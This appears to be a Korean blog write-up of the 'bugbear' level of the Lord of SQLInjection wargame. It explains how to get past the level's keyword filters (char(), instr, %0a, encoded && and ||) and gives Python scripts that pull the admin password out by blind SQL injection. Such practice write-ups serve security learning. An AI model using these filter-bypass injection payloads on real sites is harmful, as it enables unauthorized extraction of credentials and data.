Lord of SQLInjection 13번 bugbear
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
이번 필터링은 저번 문제에 이어서
' substr ascii = or and 공백 like 0x
'는 hex값을 사용했지만 0x가 안되므로 char를 사용하여 10진수 값을 넣어야 한다.
ascii는 ord를 대신 사용할 수 있지만 or에 필터링이 되기 때문에 hex를 사용한다.
=은 like를 사용해지만 이것도 필터링이 되어 있어 instr로 우회한다. a like b ===> instr(a,b)
공백은 %0a를 사용하여 우회가 가능하다.
or은 || and는 url에서 %26%26이다.
1)pw 길이 구하기
import requests
import re
url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies={"PHPSESSID":"세션"}
for i in range(0,10):
pay=f"?no=1%0a||instr(length(pw),{i})" #공백 %0a, like 대신 instr
res=requests.get(url+pay,cookies=cookies)
find = re.findall("Hello admin", res.text) # Hello admin 문자열 매칭
if find:
print("length:",i)
length=i
break
length: 8
?no=1%0a||instr((length(pw)),8)
공백 대신 %0a
instr((length(pw)),8) pw길이가 8인지 비교
2) pw 구하기
import requests
import re
url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies={"PHPSESSID":"세션"}
pw=""
for i in range(1,9):
for j in range(32,127):
pay=f"?no=1%0a||instr(id,char(97,100,109,105,110))%26%26instr(hex((mid(pw,{i},1))),hex({j}))""
res=requests.get(url+pay,cookies=cookies)
find = re.findall("Hello admin", res.text)
if find:
pw+=chr(j)
break
print("pw=",pw)
pw= 52dc3991
코드를 실행하게 되면 hex({j})에서 j에 들어가는 값은 53 50 100 99 51 57 57 49 이다.
이 값을 hex로 바꾸면 0x35 0x32 0x64 0x63 0x33 0x39 0x39 0x31 되고, 다시 chr로 바꾸면 52dc3991 값이 나온다.
'#WarGame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection 15번 assassin (0) | 2021.09.16 |
---|---|
Lord of SQLInjection 14번 giant (0) | 2021.09.16 |
Lord of SQLInjection 12번 darkknight (0) | 2021.08.10 |
Lord of SQLInjection 11번 golem (0) | 2021.08.09 |
Lord of SQLInjection 10번 skeleton (0) | 2021.08.07 |